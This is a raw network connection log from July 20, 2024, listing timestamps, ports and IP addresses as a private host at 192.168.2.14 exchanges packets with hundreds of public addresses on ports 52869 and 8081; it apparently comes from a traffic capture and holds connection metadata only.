Jul 20, 2024 23:01:02.727624893 CEST	50165	8081	192.168.2.14	147.206.164.111
Jul 20, 2024 23:01:02.727624893 CEST	50165	8081	192.168.2.14	89.221.248.198
Jul 20, 2024 23:01:02.727741957 CEST	58474	52869	192.168.2.14	177.133.134.55
Jul 20, 2024 23:01:02.727741957 CEST	57236	52869	192.168.2.14	82.44.225.133
Jul 20, 2024 23:01:02.727766991 CEST	50165	8081	192.168.2.14	72.94.84.35
Jul 20, 2024 23:01:02.727766991 CEST	50165	8081	192.168.2.14	198.170.21.34
Jul 20, 2024 23:01:02.727766991 CEST	50165	8081	192.168.2.14	176.206.93.170
Jul 20, 2024 23:01:02.727766991 CEST	50165	8081	192.168.2.14	8.5.178.189
Jul 20, 2024 23:01:02.727766991 CEST	49909	52869	192.168.2.14	123.129.121.17
Jul 20, 2024 23:01:02.727766991 CEST	49909	52869	192.168.2.14	178.123.88.24
Jul 20, 2024 23:01:02.727766991 CEST	49909	52869	192.168.2.14	160.148.10.105
Jul 20, 2024 23:01:02.727768898 CEST	52869	49909	43.171.201.4	192.168.2.14
Jul 20, 2024 23:01:02.727766991 CEST	49909	52869	192.168.2.14	137.45.98.141
Jul 20, 2024 23:01:02.727775097 CEST	52869	49909	14.157.105.92	192.168.2.14
Jul 20, 2024 23:01:02.727792978 CEST	52869	49909	163.105.10.195	192.168.2.14
Jul 20, 2024 23:01:02.727797985 CEST	52869	49909	220.148.106.249	192.168.2.14
Jul 20, 2024 23:01:02.727802038 CEST	52869	49909	182.195.191.168	192.168.2.14
Jul 20, 2024 23:01:02.727812052 CEST	52869	49909	70.193.69.70	192.168.2.14
Jul 20, 2024 23:01:02.727826118 CEST	50165	8081	192.168.2.14	99.186.213.9
Jul 20, 2024 23:01:02.727827072 CEST	50165	8081	192.168.2.14	146.214.234.236
Jul 20, 2024 23:01:02.727827072 CEST	50165	8081	192.168.2.14	116.156.96.160
Jul 20, 2024 23:01:02.727827072 CEST	50165	8081	192.168.2.14	99.66.100.122
Jul 20, 2024 23:01:02.727827072 CEST	50165	8081	192.168.2.14	167.56.224.56
Jul 20, 2024 23:01:02.727827072 CEST	50165	8081	192.168.2.14	85.60.53.155
Jul 20, 2024 23:01:02.727827072 CEST	50165	8081	192.168.2.14	200.86.239.241
Jul 20, 2024 23:01:02.727827072 CEST	50165	8081	192.168.2.14	194.233.221.255
Jul 20, 2024 23:01:02.727936983 CEST	52869	49909	174.34.223.111	192.168.2.14
Jul 20, 2024 23:01:02.727952003 CEST	52869	49909	186.250.53.6	192.168.2.14
Jul 20, 2024 23:01:02.727957010 CEST	52869	49909	158.68.165.11	192.168.2.14
Jul 20, 2024 23:01:02.727973938 CEST	52869	49909	128.242.210.8	192.168.2.14
Jul 20, 2024 23:01:02.727978945 CEST	52869	49909	49.113.244.199	192.168.2.14
Jul 20, 2024 23:01:02.727982998 CEST	52869	49909	88.203.72.220	192.168.2.14
Jul 20, 2024 23:01:02.727988005 CEST	52869	49909	34.243.206.212	192.168.2.14
Jul 20, 2024 23:01:02.727998018 CEST	52869	49909	161.199.252.164	192.168.2.14
Jul 20, 2024 23:01:02.728054047 CEST	56082	52869	192.168.2.14	211.192.130.220
Jul 20, 2024 23:01:02.728076935 CEST	49909	52869	192.168.2.14	58.111.225.12
Jul 20, 2024 23:01:02.728076935 CEST	49909	52869	192.168.2.14	76.212.61.223
Jul 20, 2024 23:01:02.728076935 CEST	49909	52869	192.168.2.14	41.113.174.53
Jul 20, 2024 23:01:02.728076935 CEST	49909	52869	192.168.2.14	31.16.104.91
Jul 20, 2024 23:01:02.728076935 CEST	49909	52869	192.168.2.14	5.145.173.238
Jul 20, 2024 23:01:02.728077888 CEST	49909	52869	192.168.2.14	9.92.18.145
Jul 20, 2024 23:01:02.728077888 CEST	49909	52869	192.168.2.14	92.57.111.47
Jul 20, 2024 23:01:02.728077888 CEST	49909	52869	192.168.2.14	65.225.101.123
Jul 20, 2024 23:01:02.728399992 CEST	50165	8081	192.168.2.14	132.38.168.215
Jul 20, 2024 23:01:02.728399992 CEST	50165	8081	192.168.2.14	32.237.40.200
Jul 20, 2024 23:01:02.728399992 CEST	50165	8081	192.168.2.14	68.98.144.100
Jul 20, 2024 23:01:02.728399992 CEST	50165	8081	192.168.2.14	48.188.134.231
Jul 20, 2024 23:01:02.728399992 CEST	50165	8081	192.168.2.14	31.215.168.198
Jul 20, 2024 23:01:02.728399992 CEST	50165	8081	192.168.2.14	14.247.121.225
Jul 20, 2024 23:01:02.728399992 CEST	50165	8081	192.168.2.14	2.203.201.246
Jul 20, 2024 23:01:02.728399992 CEST	50165	8081	192.168.2.14	113.50.55.234
Jul 20, 2024 23:01:02.728548050 CEST	49909	52869	192.168.2.14	23.209.46.185
Jul 20, 2024 23:01:02.728548050 CEST	49909	52869	192.168.2.14	150.52.118.186
Jul 20, 2024 23:01:02.728548050 CEST	49909	52869	192.168.2.14	93.212.77.112
Jul 20, 2024 23:01:02.728549004 CEST	49909	52869	192.168.2.14	34.247.176.177
Jul 20, 2024 23:01:02.728549004 CEST	49909	52869	192.168.2.14	178.130.37.13
Jul 20, 2024 23:01:02.728549004 CEST	49909	52869	192.168.2.14	114.201.239.49
Jul 20, 2024 23:01:02.728549004 CEST	49909	52869	192.168.2.14	93.180.85.109
Jul 20, 2024 23:01:02.728549004 CEST	49909	52869	192.168.2.14	94.19.223.142
Jul 20, 2024 23:01:02.728897095 CEST	50165	8081	192.168.2.14	180.93.103.136
Jul 20, 2024 23:01:02.728897095 CEST	50165	8081	192.168.2.14	1.182.28.96
Jul 20, 2024 23:01:02.728897095 CEST	50165	8081	192.168.2.14	175.88.62.171
Jul 20, 2024 23:01:02.728897095 CEST	50165	8081	192.168.2.14	82.27.229.242
Jul 20, 2024 23:01:02.728897095 CEST	49909	52869	192.168.2.14	153.185.164.115
Jul 20, 2024 23:01:02.729046106 CEST	38530	52869	192.168.2.14	101.71.112.133
Jul 20, 2024 23:01:02.729046106 CEST	50060	52869	192.168.2.14	82.86.85.182
Jul 20, 2024 23:01:02.729074955 CEST	49909	52869	192.168.2.14	120.228.64.152
Jul 20, 2024 23:01:02.729074955 CEST	49909	52869	192.168.2.14	118.162.116.123
Jul 20, 2024 23:01:02.729074955 CEST	49909	52869	192.168.2.14	143.199.55.97
Jul 20, 2024 23:01:02.729075909 CEST	49909	52869	192.168.2.14	191.232.78.142
Jul 20, 2024 23:01:02.729075909 CEST	49909	52869	192.168.2.14	166.120.3.189
Jul 20, 2024 23:01:02.729075909 CEST	49909	52869	192.168.2.14	85.40.207.185
Jul 20, 2024 23:01:02.729075909 CEST	49909	52869	192.168.2.14	217.19.179.134
Jul 20, 2024 23:01:02.729075909 CEST	49909	52869	192.168.2.14	212.202.43.22
Jul 20, 2024 23:01:02.729373932 CEST	49909	52869	192.168.2.14	137.215.200.72
Jul 20, 2024 23:01:02.729373932 CEST	49909	52869	192.168.2.14	144.128.74.225
Jul 20, 2024 23:01:02.729373932 CEST	49909	52869	192.168.2.14	2.15.163.121
Jul 20, 2024 23:01:02.729373932 CEST	49909	52869	192.168.2.14	169.245.61.144
Jul 20, 2024 23:01:02.729373932 CEST	49909	52869	192.168.2.14	192.225.65.177
Jul 20, 2024 23:01:02.729373932 CEST	49909	52869	192.168.2.14	158.228.244.170
Jul 20, 2024 23:01:02.729373932 CEST	49909	52869	192.168.2.14	66.63.131.171
Jul 20, 2024 23:01:02.729373932 CEST	49909	52869	192.168.2.14	14.172.165.82
Jul 20, 2024 23:01:02.729440928 CEST	49909	52869	192.168.2.14	145.57.244.229
Jul 20, 2024 23:01:02.729440928 CEST	49909	52869	192.168.2.14	14.241.255.147
Jul 20, 2024 23:01:02.729440928 CEST	49909	52869	192.168.2.14	211.8.209.169
Jul 20, 2024 23:01:02.729440928 CEST	49909	52869	192.168.2.14	43.246.208.38
Jul 20, 2024 23:01:02.729440928 CEST	49909	52869	192.168.2.14	194.121.136.201
Jul 20, 2024 23:01:02.729440928 CEST	49909	52869	192.168.2.14	46.75.223.154
Jul 20, 2024 23:01:02.729440928 CEST	49909	52869	192.168.2.14	83.208.222.65
Jul 20, 2024 23:01:02.729440928 CEST	49909	52869	192.168.2.14	152.28.159.70
Jul 20, 2024 23:01:02.729567051 CEST	49909	52869	192.168.2.14	67.159.215.23
Jul 20, 2024 23:01:02.729567051 CEST	49909	52869	192.168.2.14	129.77.83.120
Jul 20, 2024 23:01:02.729567051 CEST	49909	52869	192.168.2.14	112.204.3.25
Jul 20, 2024 23:01:02.729567051 CEST	49909	52869	192.168.2.14	1.79.38.184
Jul 20, 2024 23:01:02.729567051 CEST	49909	52869	192.168.2.14	91.190.201.197
Jul 20, 2024 23:01:02.729567051 CEST	49909	52869	192.168.2.14	91.153.201.113
Jul 20, 2024 23:01:02.729567051 CEST	49909	52869	192.168.2.14	153.163.4.209
Jul 20, 2024 23:01:02.729567051 CEST	49909	52869	192.168.2.14	187.247.235.78
Jul 20, 2024 23:01:02.729603052 CEST	49909	52869	192.168.2.14	1.111.166.37
Jul 20, 2024 23:01:02.729603052 CEST	49909	52869	192.168.2.14	17.23.40.165
Jul 20, 2024 23:01:02.729603052 CEST	49909	52869	192.168.2.14	12.46.102.32
Jul 20, 2024 23:01:02.729603052 CEST	49909	52869	192.168.2.14	138.53.14.84
Jul 20, 2024 23:01:02.729603052 CEST	49909	52869	192.168.2.14	135.243.6.48
Jul 20, 2024 23:01:02.729603052 CEST	49909	52869	192.168.2.14	194.226.80.98
Jul 20, 2024 23:01:02.729603052 CEST	49909	52869	192.168.2.14	116.14.217.224
Jul 20, 2024 23:01:02.729603052 CEST	49909	52869	192.168.2.14	115.120.198.75
Jul 20, 2024 23:01:02.730073929 CEST	49909	52869	192.168.2.14	185.146.99.168
Jul 20, 2024 23:01:02.730073929 CEST	49909	52869	192.168.2.14	46.26.66.22
Jul 20, 2024 23:01:02.730073929 CEST	49909	52869	192.168.2.14	184.228.135.25
Jul 20, 2024 23:01:02.730073929 CEST	49909	52869	192.168.2.14	171.37.214.209
Jul 20, 2024 23:01:02.730073929 CEST	49909	52869	192.168.2.14	75.177.2.173
Jul 20, 2024 23:01:02.730073929 CEST	49909	52869	192.168.2.14	218.210.248.92
Jul 20, 2024 23:01:02.730073929 CEST	49909	52869	192.168.2.14	100.212.195.10
Jul 20, 2024 23:01:02.730073929 CEST	49909	52869	192.168.2.14	121.76.31.20
Jul 20, 2024 23:01:02.730109930 CEST	49909	52869	192.168.2.14	212.127.72.224
Jul 20, 2024 23:01:02.730109930 CEST	49909	52869	192.168.2.14	219.16.37.73
Jul 20, 2024 23:01:02.730109930 CEST	49909	52869	192.168.2.14	154.168.140.106
Jul 20, 2024 23:01:02.730109930 CEST	49909	52869	192.168.2.14	200.162.3.54
Jul 20, 2024 23:01:02.730109930 CEST	49909	52869	192.168.2.14	75.112.248.70
Jul 20, 2024 23:01:02.730109930 CEST	49909	52869	192.168.2.14	179.0.72.180
Jul 20, 2024 23:01:02.730109930 CEST	49909	52869	192.168.2.14	32.136.186.54
Jul 20, 2024 23:01:02.730109930 CEST	49909	52869	192.168.2.14	96.72.200.44
Jul 20, 2024 23:01:02.730416059 CEST	49909	52869	192.168.2.14	119.211.35.125
Jul 20, 2024 23:01:02.730416059 CEST	49909	52869	192.168.2.14	188.160.109.228
Jul 20, 2024 23:01:02.730416059 CEST	49909	52869	192.168.2.14	122.78.108.15
Jul 20, 2024 23:01:02.730416059 CEST	49909	52869	192.168.2.14	106.127.203.66
Jul 20, 2024 23:01:02.730416059 CEST	49909	52869	192.168.2.14	187.160.78.221
Jul 20, 2024 23:01:02.730416059 CEST	49909	52869	192.168.2.14	181.164.119.12
Jul 20, 2024 23:01:02.730417013 CEST	49909	52869	192.168.2.14	82.46.19.13
Jul 20, 2024 23:01:02.730417013 CEST	49909	52869	192.168.2.14	49.108.231.183
Jul 20, 2024 23:01:02.730529070 CEST	49909	52869	192.168.2.14	43.211.213.244
Jul 20, 2024 23:01:02.730529070 CEST	49909	52869	192.168.2.14	43.215.199.181
Jul 20, 2024 23:01:02.730529070 CEST	49909	52869	192.168.2.14	13.24.133.199
Jul 20, 2024 23:01:02.730529070 CEST	49909	52869	192.168.2.14	195.75.251.163
Jul 20, 2024 23:01:02.730529070 CEST	49909	52869	192.168.2.14	108.192.127.61
Jul 20, 2024 23:01:02.730530024 CEST	49909	52869	192.168.2.14	119.249.21.140
Jul 20, 2024 23:01:02.730530024 CEST	49909	52869	192.168.2.14	192.121.40.185
Jul 20, 2024 23:01:02.730530024 CEST	49909	52869	192.168.2.14	100.231.105.65
Jul 20, 2024 23:01:02.730741978 CEST	50165	8081	192.168.2.14	87.188.229.11
Jul 20, 2024 23:01:02.730741978 CEST	50165	8081	192.168.2.14	173.59.27.14
Jul 20, 2024 23:01:02.730741978 CEST	50165	8081	192.168.2.14	102.241.240.72
Jul 20, 2024 23:01:02.730741978 CEST	50165	8081	192.168.2.14	140.33.143.7
Jul 20, 2024 23:01:02.730741978 CEST	50165	8081	192.168.2.14	196.97.217.216
Jul 20, 2024 23:01:02.730741978 CEST	50165	8081	192.168.2.14	194.184.157.56
Jul 20, 2024 23:01:02.730741978 CEST	50165	8081	192.168.2.14	206.107.44.89
Jul 20, 2024 23:01:02.730741978 CEST	50165	8081	192.168.2.14	151.34.129.30
Jul 20, 2024 23:01:02.730772018 CEST	49909	52869	192.168.2.14	181.246.51.13
Jul 20, 2024 23:01:02.730772018 CEST	49909	52869	192.168.2.14	207.153.20.81
Jul 20, 2024 23:01:02.730772018 CEST	49909	52869	192.168.2.14	47.230.216.27
Jul 20, 2024 23:01:02.730772018 CEST	49909	52869	192.168.2.14	142.255.143.125
Jul 20, 2024 23:01:02.730984926 CEST	49909	52869	192.168.2.14	219.198.135.13
Jul 20, 2024 23:01:02.730984926 CEST	49909	52869	192.168.2.14	171.17.107.6
Jul 20, 2024 23:01:02.730984926 CEST	49909	52869	192.168.2.14	220.205.61.196
Jul 20, 2024 23:01:02.730984926 CEST	49909	52869	192.168.2.14	169.53.124.132
Jul 20, 2024 23:01:02.730984926 CEST	49909	52869	192.168.2.14	132.253.46.156
Jul 20, 2024 23:01:02.730984926 CEST	49909	52869	192.168.2.14	31.32.65.136
Jul 20, 2024 23:01:02.730984926 CEST	49909	52869	192.168.2.14	182.31.74.149
Jul 20, 2024 23:01:02.730984926 CEST	49909	52869	192.168.2.14	137.23.48.175
Jul 20, 2024 23:01:02.731292963 CEST	50165	8081	192.168.2.14	118.74.36.233
Jul 20, 2024 23:01:02.731292963 CEST	50165	8081	192.168.2.14	63.244.125.61
Jul 20, 2024 23:01:02.731292963 CEST	50165	8081	192.168.2.14	151.157.2.20
Jul 20, 2024 23:01:02.731292963 CEST	50165	8081	192.168.2.14	39.48.171.124
Jul 20, 2024 23:01:02.731292963 CEST	50165	8081	192.168.2.14	198.115.232.89
Jul 20, 2024 23:01:02.731292963 CEST	50165	8081	192.168.2.14	183.125.176.2
Jul 20, 2024 23:01:02.731292963 CEST	50165	8081	192.168.2.14	213.251.115.123
Jul 20, 2024 23:01:02.731292963 CEST	50165	8081	192.168.2.14	223.6.190.72
Jul 20, 2024 23:01:02.731461048 CEST	49909	52869	192.168.2.14	168.60.119.19
Jul 20, 2024 23:01:02.731461048 CEST	49909	52869	192.168.2.14	186.35.232.46
Jul 20, 2024 23:01:02.731461048 CEST	49909	52869	192.168.2.14	163.188.24.253
Jul 20, 2024 23:01:02.731461048 CEST	49909	52869	192.168.2.14	171.204.203.120
Jul 20, 2024 23:01:02.731461048 CEST	49909	52869	192.168.2.14	17.255.239.226
Jul 20, 2024 23:01:02.731461048 CEST	49909	52869	192.168.2.14	191.168.20.192
Jul 20, 2024 23:01:02.731461048 CEST	49909	52869	192.168.2.14	83.123.30.184
Jul 20, 2024 23:01:02.731461048 CEST	49909	52869	192.168.2.14	161.140.241.15
Jul 20, 2024 23:01:02.731601000 CEST	50165	8081	192.168.2.14	70.21.31.221
Jul 20, 2024 23:01:02.731601000 CEST	49909	52869	192.168.2.14	151.169.90.181
Jul 20, 2024 23:01:02.731601000 CEST	49909	52869	192.168.2.14	206.39.85.6
Jul 20, 2024 23:01:02.731601000 CEST	49909	52869	192.168.2.14	2.114.253.78
Jul 20, 2024 23:01:02.731601000 CEST	49909	52869	192.168.2.14	49.23.73.9
Jul 20, 2024 23:01:02.731601000 CEST	49909	52869	192.168.2.14	133.98.154.148
Jul 20, 2024 23:01:02.731601000 CEST	49909	52869	192.168.2.14	47.133.70.19
Jul 20, 2024 23:01:02.731601954 CEST	49909	52869	192.168.2.14	1.24.97.208
Jul 20, 2024 23:01:02.731794119 CEST	42316	52869	192.168.2.14	39.70.52.243
Jul 20, 2024 23:01:02.731971979 CEST	49909	52869	192.168.2.14	1.92.60.4
Jul 20, 2024 23:01:02.731971979 CEST	49909	52869	192.168.2.14	66.16.64.126
Jul 20, 2024 23:01:02.731971979 CEST	49909	52869	192.168.2.14	39.131.115.52
Jul 20, 2024 23:01:02.731971979 CEST	49909	52869	192.168.2.14	92.71.142.45
Jul 20, 2024 23:01:02.731971979 CEST	49909	52869	192.168.2.14	110.249.44.246
Jul 20, 2024 23:01:02.731972933 CEST	49909	52869	192.168.2.14	64.190.148.218
Jul 20, 2024 23:01:02.731972933 CEST	49909	52869	192.168.2.14	187.60.251.60
Jul 20, 2024 23:01:02.731972933 CEST	49909	52869	192.168.2.14	9.225.145.40
Jul 20, 2024 23:01:02.731996059 CEST	49909	52869	192.168.2.14	69.47.116.163
Jul 20, 2024 23:01:02.731996059 CEST	49909	52869	192.168.2.14	1.17.235.206
Jul 20, 2024 23:01:02.731996059 CEST	49909	52869	192.168.2.14	54.149.87.219
Jul 20, 2024 23:01:02.731996059 CEST	49909	52869	192.168.2.14	124.175.224.119
Jul 20, 2024 23:01:02.731996059 CEST	49909	52869	192.168.2.14	190.128.150.236
Jul 20, 2024 23:01:02.731996059 CEST	49909	52869	192.168.2.14	198.1.87.251
Jul 20, 2024 23:01:02.731996059 CEST	49909	52869	192.168.2.14	100.191.43.243
Jul 20, 2024 23:01:02.731996059 CEST	49909	52869	192.168.2.14	80.147.25.122
Jul 20, 2024 23:01:02.732294083 CEST	49909	52869	192.168.2.14	71.80.243.66
Jul 20, 2024 23:01:02.732294083 CEST	49909	52869	192.168.2.14	83.178.48.215
Jul 20, 2024 23:01:02.732294083 CEST	49909	52869	192.168.2.14	82.50.188.0
Jul 20, 2024 23:01:02.732294083 CEST	49909	52869	192.168.2.14	14.157.105.92
Jul 20, 2024 23:01:02.732294083 CEST	49909	52869	192.168.2.14	163.105.10.195
Jul 20, 2024 23:01:02.732294083 CEST	49909	52869	192.168.2.14	43.171.201.4
Jul 20, 2024 23:01:02.732294083 CEST	49909	52869	192.168.2.14	220.148.106.249
Jul 20, 2024 23:01:02.732294083 CEST	49909	52869	192.168.2.14	70.193.69.70
Jul 20, 2024 23:01:02.732347965 CEST	49909	52869	192.168.2.14	223.106.64.35
Jul 20, 2024 23:01:02.732347965 CEST	49909	52869	192.168.2.14	201.103.148.203
Jul 20, 2024 23:01:02.732347965 CEST	49909	52869	192.168.2.14	196.11.222.111
Jul 20, 2024 23:01:02.732347965 CEST	49909	52869	192.168.2.14	1.253.230.38
Jul 20, 2024 23:01:02.732347965 CEST	49909	52869	192.168.2.14	106.150.235.21
Jul 20, 2024 23:01:02.732347965 CEST	49909	52869	192.168.2.14	43.88.59.117
Jul 20, 2024 23:01:02.732347965 CEST	49909	52869	192.168.2.14	62.156.52.206
Jul 20, 2024 23:01:02.732347965 CEST	49909	52869	192.168.2.14	150.134.74.224
Jul 20, 2024 23:01:02.732702017 CEST	49909	52869	192.168.2.14	182.195.191.168
Jul 20, 2024 23:01:02.732702017 CEST	49909	52869	192.168.2.14	174.34.223.111
Jul 20, 2024 23:01:02.732702017 CEST	49909	52869	192.168.2.14	186.250.53.6
Jul 20, 2024 23:01:02.732702017 CEST	49909	52869	192.168.2.14	158.68.165.11
Jul 20, 2024 23:01:02.732702017 CEST	49909	52869	192.168.2.14	128.242.210.8
Jul 20, 2024 23:01:02.732702017 CEST	49909	52869	192.168.2.14	49.113.244.199
Jul 20, 2024 23:01:02.732702017 CEST	49909	52869	192.168.2.14	88.203.72.220
Jul 20, 2024 23:01:02.732702017 CEST	49909	52869	192.168.2.14	34.243.206.212
Jul 20, 2024 23:01:02.732762098 CEST	49909	52869	192.168.2.14	178.212.128.192
Jul 20, 2024 23:01:02.732762098 CEST	49909	52869	192.168.2.14	146.79.24.5
Jul 20, 2024 23:01:02.732762098 CEST	49909	52869	192.168.2.14	91.188.220.133
Jul 20, 2024 23:01:02.732762098 CEST	49909	52869	192.168.2.14	146.195.88.135
Jul 20, 2024 23:01:02.732762098 CEST	49909	52869	192.168.2.14	221.17.80.159
Jul 20, 2024 23:01:02.732762098 CEST	49909	52869	192.168.2.14	125.49.52.26
Jul 20, 2024 23:01:02.732762098 CEST	49909	52869	192.168.2.14	163.2.210.107
Jul 20, 2024 23:01:02.732762098 CEST	49909	52869	192.168.2.14	67.154.9.244
Jul 20, 2024 23:01:02.733000994 CEST	49909	52869	192.168.2.14	161.199.252.164
Jul 20, 2024 23:01:02.733067036 CEST	44202	8081	192.168.2.14	150.134.66.131
Jul 20, 2024 23:01:02.733135939 CEST	49909	52869	192.168.2.14	50.22.243.251
Jul 20, 2024 23:01:02.733135939 CEST	49909	52869	192.168.2.14	65.69.17.55
Jul 20, 2024 23:01:02.733135939 CEST	49909	52869	192.168.2.14	60.38.243.133
Jul 20, 2024 23:01:02.733135939 CEST	49909	52869	192.168.2.14	175.31.191.19
Jul 20, 2024 23:01:02.733135939 CEST	49909	52869	192.168.2.14	147.161.211.50
Jul 20, 2024 23:01:02.733135939 CEST	49909	52869	192.168.2.14	147.23.35.133
Jul 20, 2024 23:01:02.733135939 CEST	49909	52869	192.168.2.14	86.30.12.109
Jul 20, 2024 23:01:02.733135939 CEST	49909	52869	192.168.2.14	209.43.64.217
Jul 20, 2024 23:01:02.733369112 CEST	49909	52869	192.168.2.14	103.19.54.33
Jul 20, 2024 23:01:02.733369112 CEST	49909	52869	192.168.2.14	99.115.156.20
Jul 20, 2024 23:01:02.733369112 CEST	49909	52869	192.168.2.14	73.117.253.69
Jul 20, 2024 23:01:02.733369112 CEST	49909	52869	192.168.2.14	221.222.29.218
Jul 20, 2024 23:01:02.733369112 CEST	49909	52869	192.168.2.14	151.170.170.65
Jul 20, 2024 23:01:02.733369112 CEST	49909	52869	192.168.2.14	86.154.34.127
Jul 20, 2024 23:01:02.733370066 CEST	49909	52869	192.168.2.14	44.31.23.212
Jul 20, 2024 23:01:02.733370066 CEST	49909	52869	192.168.2.14	183.196.130.211
Jul 20, 2024 23:01:02.733613014 CEST	49909	52869	192.168.2.14	27.236.221.138
Jul 20, 2024 23:01:02.733613014 CEST	49909	52869	192.168.2.14	70.93.65.194
Jul 20, 2024 23:01:02.733613014 CEST	49909	52869	192.168.2.14	216.24.156.23
Jul 20, 2024 23:01:02.733613014 CEST	49909	52869	192.168.2.14	12.221.177.77
Jul 20, 2024 23:01:02.733613014 CEST	49909	52869	192.168.2.14	172.233.216.123
Jul 20, 2024 23:01:02.733613014 CEST	49909	52869	192.168.2.14	32.156.214.182
Jul 20, 2024 23:01:02.733613014 CEST	49909	52869	192.168.2.14	210.243.69.216
Jul 20, 2024 23:01:02.733613014 CEST	49909	52869	192.168.2.14	41.92.219.52
Jul 20, 2024 23:01:02.733855963 CEST	49909	52869	192.168.2.14	1.72.49.78
Jul 20, 2024 23:01:02.733855963 CEST	49909	52869	192.168.2.14	134.218.52.97
Jul 20, 2024 23:01:02.733855963 CEST	49909	52869	192.168.2.14	78.2.217.25
Jul 20, 2024 23:01:02.733855963 CEST	49909	52869	192.168.2.14	89.163.158.178
Jul 20, 2024 23:01:02.733855963 CEST	49909	52869	192.168.2.14	142.161.166.212
Jul 20, 2024 23:01:02.733855963 CEST	49909	52869	192.168.2.14	137.52.171.142
Jul 20, 2024 23:01:02.733855963 CEST	49909	52869	192.168.2.14	58.52.126.251
Jul 20, 2024 23:01:02.733856916 CEST	49909	52869	192.168.2.14	192.209.108.48
Jul 20, 2024 23:01:02.734108925 CEST	49909	52869	192.168.2.14	54.244.250.228
Jul 20, 2024 23:01:02.734108925 CEST	49909	52869	192.168.2.14	132.10.192.29
Jul 20, 2024 23:01:02.734206915 CEST	52869	49909	159.102.46.61	192.168.2.14
Jul 20, 2024 23:01:02.734213114 CEST	52869	49909	106.120.220.124	192.168.2.14
Jul 20, 2024 23:01:02.734216928 CEST	52869	49909	165.158.183.156	192.168.2.14
Jul 20, 2024 23:01:02.734252930 CEST	49909	52869	192.168.2.14	159.102.46.61
Jul 20, 2024 23:01:02.734252930 CEST	49909	52869	192.168.2.14	106.120.220.124
Jul 20, 2024 23:01:02.734281063 CEST	49909	52869	192.168.2.14	165.158.183.156
Jul 20, 2024 23:01:02.734679937 CEST	52869	49909	17.205.238.55	192.168.2.14
Jul 20, 2024 23:01:02.734685898 CEST	52869	49909	170.107.57.31	192.168.2.14
Jul 20, 2024 23:01:02.734694958 CEST	52869	49909	103.246.31.212	192.168.2.14
Jul 20, 2024 23:01:02.734700918 CEST	52869	49909	194.122.120.193	192.168.2.14
Jul 20, 2024 23:01:02.734704971 CEST	52869	49909	217.184.248.134	192.168.2.14
Jul 20, 2024 23:01:02.734709024 CEST	52869	49909	112.132.200.79	192.168.2.14
Jul 20, 2024 23:01:02.734721899 CEST	52869	49909	223.165.230.55	192.168.2.14
Jul 20, 2024 23:01:02.734726906 CEST	52869	49909	192.12.32.123	192.168.2.14
Jul 20, 2024 23:01:02.734730959 CEST	49909	52869	192.168.2.14	17.205.238.55
Jul 20, 2024 23:01:02.734730959 CEST	49909	52869	192.168.2.14	103.246.31.212
Jul 20, 2024 23:01:02.734731913 CEST	52869	49909	90.98.103.168	192.168.2.14
Jul 20, 2024 23:01:02.734730959 CEST	49909	52869	192.168.2.14	194.122.120.193
Jul 20, 2024 23:01:02.734730959 CEST	49909	52869	192.168.2.14	217.184.248.134
Jul 20, 2024 23:01:02.734741926 CEST	52869	49909	80.131.241.25	192.168.2.14
Jul 20, 2024 23:01:02.734747887 CEST	52869	49909	164.112.242.116	192.168.2.14
Jul 20, 2024 23:01:02.734756947 CEST	52869	49909	66.123.49.0	192.168.2.14
Jul 20, 2024 23:01:02.734761000 CEST	49909	52869	192.168.2.14	112.132.200.79
Jul 20, 2024 23:01:02.734761953 CEST	52869	49909	211.67.94.134	192.168.2.14
Jul 20, 2024 23:01:02.734761000 CEST	49909	52869	192.168.2.14	170.107.57.31
Jul 20, 2024 23:01:02.734761953 CEST	49909	52869	192.168.2.14	223.165.230.55
Jul 20, 2024 23:01:02.734761953 CEST	49909	52869	192.168.2.14	192.12.32.123
Jul 20, 2024 23:01:02.734761953 CEST	49909	52869	192.168.2.14	90.98.103.168
Jul 20, 2024 23:01:02.734769106 CEST	52869	49909	91.203.31.183	192.168.2.14
Jul 20, 2024 23:01:02.734772921 CEST	52869	49909	166.59.195.42	192.168.2.14
Jul 20, 2024 23:01:02.734776974 CEST	52869	49909	32.9.127.176	192.168.2.14
Jul 20, 2024 23:01:02.734781027 CEST	52869	49909	18.228.99.50	192.168.2.14
Jul 20, 2024 23:01:02.734805107 CEST	52869	49909	129.255.250.97	192.168.2.14
Jul 20, 2024 23:01:02.734814882 CEST	52869	49909	17.129.221.122	192.168.2.14
Jul 20, 2024 23:01:02.734827995 CEST	52869	49909	133.24.113.110	192.168.2.14
Jul 20, 2024 23:01:02.734832048 CEST	52869	49909	88.115.4.111	192.168.2.14
Jul 20, 2024 23:01:02.734900951 CEST	49909	52869	192.168.2.14	164.112.242.116
Jul 20, 2024 23:01:02.734900951 CEST	49909	52869	192.168.2.14	80.131.241.25
Jul 20, 2024 23:01:02.734900951 CEST	49909	52869	192.168.2.14	66.123.49.0
Jul 20, 2024 23:01:02.734900951 CEST	49909	52869	192.168.2.14	91.203.31.183
Jul 20, 2024 23:01:02.734900951 CEST	49909	52869	192.168.2.14	211.67.94.134
Jul 20, 2024 23:01:02.734900951 CEST	49909	52869	192.168.2.14	166.59.195.42
Jul 20, 2024 23:01:02.734900951 CEST	49909	52869	192.168.2.14	32.9.127.176
Jul 20, 2024 23:01:02.734900951 CEST	49909	52869	192.168.2.14	18.228.99.50
Jul 20, 2024 23:01:02.735111952 CEST	49909	52869	192.168.2.14	129.255.250.97
Jul 20, 2024 23:01:02.735111952 CEST	49909	52869	192.168.2.14	17.129.221.122
Jul 20, 2024 23:01:02.735112906 CEST	49909	52869	192.168.2.14	133.24.113.110
Jul 20, 2024 23:01:02.735112906 CEST	49909	52869	192.168.2.14	88.115.4.111
Jul 20, 2024 23:01:02.735189915 CEST	52869	49909	193.88.26.53	192.168.2.14
Jul 20, 2024 23:01:02.735196114 CEST	52869	49909	155.141.1.141	192.168.2.14
Jul 20, 2024 23:01:02.735205889 CEST	52869	49909	176.115.221.191	192.168.2.14
Jul 20, 2024 23:01:02.735209942 CEST	52869	49909	91.173.80.34	192.168.2.14
Jul 20, 2024 23:01:02.735219955 CEST	52869	49909	97.116.245.239	192.168.2.14
Jul 20, 2024 23:01:02.735224009 CEST	52869	49909	147.88.112.207	192.168.2.14
Jul 20, 2024 23:01:02.735233068 CEST	52869	49909	209.84.135.1	192.168.2.14
Jul 20, 2024 23:01:02.735238075 CEST	49909	52869	192.168.2.14	155.141.1.141
Jul 20, 2024 23:01:02.735238075 CEST	49909	52869	192.168.2.14	193.88.26.53
Jul 20, 2024 23:01:02.735238075 CEST	49909	52869	192.168.2.14	176.115.221.191
Jul 20, 2024 23:01:02.735245943 CEST	52869	49909	65.33.48.70	192.168.2.14
